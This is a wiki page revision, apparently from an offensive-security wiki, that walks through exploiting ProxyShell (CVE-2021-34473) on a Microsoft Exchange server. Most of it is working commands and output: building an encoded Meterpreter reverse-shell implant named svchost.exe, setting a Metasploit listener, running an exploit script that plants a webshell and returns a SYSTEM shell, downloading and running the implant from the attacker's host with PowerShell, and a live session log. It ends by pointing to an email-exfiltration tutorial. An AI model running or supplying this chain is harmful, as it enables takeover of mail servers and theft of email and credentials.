Proxyshell: Difference between revisions
mNo edit summary |
mNo edit summary |
||
Line 1: | Line 1: | ||
== Exploiting proxyshell == | == Exploiting proxyshell - CVE-2021-34473 == | ||
=== Build meterpreter === | === Build meterpreter === | ||
First we make an implant to perform post exploitation using metasploit: | First we make an implant to perform post exploitation using metasploit: | ||
Line 51: | Line 51: | ||
[*] Meterpreter session 1 opened (1.2.3.4:8888 -> 10.10.10.11:1984) at 2023-07-05 08:00:18 +0000 | [*] Meterpreter session 1 opened (1.2.3.4:8888 -> 10.10.10.11:1984) at 2023-07-05 08:00:18 +0000 | ||
meterpreter > sysinfo | meterpreter > sysinfo | ||
Computer : srvexchange2016 | Computer : srvexchange2016 | ||
OS : Windows 2016+ (10.0 Build 14393). | OS : Windows 2016+ (10.0 Build 14393). | ||
Architecture : x64 | Architecture : x64 |
Revision as of 08:47, 5 July 2023
Exploiting proxyshell - CVE-2021-34473
Build meterpreter
First we make an implant to perform post exploitation using metasploit:
msfvenom -p windows/meterpreter/reverse_https LHOST=1.2.3.4 LPORT=8888 -e x86/shikata_ga_nai -i 5 -f exe -o svchost.exe
Now we set our listener:
use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_https set LHOST 1.2.3.4 set LPORT 8888 run
Host meterpreter for download:
python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Gain a shell
We first use proxyshell-auto exploit which will give us a shell if the exchange server has powershell enabled.
Gain a shell:
user@host:~$ python3 proxyshell-auto/proxyshell.py -t 10.10.10.11 fqdn srvexchange2016.domain.local + Administrator@domain.com legacyDN /o=COMPANY/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=cc84dab2b5f8407ea1545e2f024382aa-Administrator leak_sid S-1-5-21-654894352-2732664023-2722231124-500 token VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBxBZG1pbmlzdHJhdGV1ckBwZWNoZXhwb3J0Lm1nVSxTLTEtNS0yMS02NTQ4OTQzNTItMjczMjY2NDAyMy0yNzIyMjMxMTI0LTUwMEcBAAAABwAAAAxTLTEtNS0zMi01NDRFAAAAAA== set_ews Success with subject grvshwaveotkomvc write webshell at aspnet_client/yhuzv.asPx <Response [404]> nt authority\system SHELL>
From here we want to upload a meterpreter payload for post exploitation:
SHELL> powershell.exe Invoke-WebRequest -Uri "http://1.2.3.4:8000/meterpreter.exe" -OutFile "c:\windows\TEMP\svchost.exe"
We now set our listener and execute the payload:
SHELL> powershell.exe "c:\windows\Temp\svchost.exe"
From here we will have a meterpreter connection to work from :)
[*] Started HTTPS reverse handler on https://1.2.3.4:8888 [*] https://1.2.3.4:8888 handling request from 10.10.10.11; (UUID: qdghnakk) Staging x86 payload (176732 bytes) ... [*] Meterpreter session 1 opened (1.2.3.4:8888 -> 10.10.10.11:1984) at 2023-07-05 08:00:18 +0000 meterpreter > sysinfo Computer : srvexchange2016 OS : Windows 2016+ (10.0 Build 14393). Architecture : x64 System Language : en_US Domain : DOMAIN Logged On Users : 6 Meterpreter : x86/windows
Email exfiltration
For exfiltrating emails via proxyshell exploitation see Guacamaya's tutorial HackBack video.